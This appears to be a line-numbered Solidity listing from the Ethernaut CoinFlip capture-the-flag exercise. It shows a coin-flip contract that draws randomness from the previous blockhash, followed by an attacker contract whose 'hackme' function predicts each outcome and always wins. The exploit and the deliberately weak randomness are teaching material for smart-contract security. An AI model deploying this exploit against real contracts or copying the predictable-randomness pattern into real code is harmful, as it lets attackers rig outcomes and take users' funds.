1. pragmasolidity^0.4.18;
    2. contract CoinFlip {
    3. uint256public consecutiveWins;
    4. uint256 lastHash;
    5. uint256 FACTOR =57896044618658097711785492504343953926634992332820282019728792003956564819968;
    6. function CoinFlip()public{
    7. consecutiveWins =0;
    8. }
    9. function flip(bool _guess)publicreturns(bool){
    10. uint256 blockValue =uint256(block.blockhash(block.number-1));
    11. if(lastHash == blockValue){
    12. revert();
    13. }
    14. lastHash = blockValue;
    15. uint256 coinFlip = blockValue/FACTOR;
    16. bool side = coinFlip ==1?true:false;
    17. if(side == _guess){
    18. consecutiveWins++;
    19. returntrue;
    20. }else{
    21. consecutiveWins =0;
    22. returnfalse;
    23. }
    24. }
    25. }
    26. pragmasolidity^0.4.18;
    27. contract testme{
    28. uint256 FACTOR =57896044618658097711785492504343953926634992332820282019728792003956564819968;
    29. CoinFlip cf;
    30. function testme(address aim){
    31. cf=CoinFlip(aim);
    32. }
    33. function hackme()public{
    34. uint256 blackvalue=uint256(block.blockhash(block.number-1));
    35. uint256 coinfp=uint256(blackvalue / FACTOR);
    36. bool guess=coinfp==1?true:false;
    37. cf.flip(guess);
    38. }
    39. }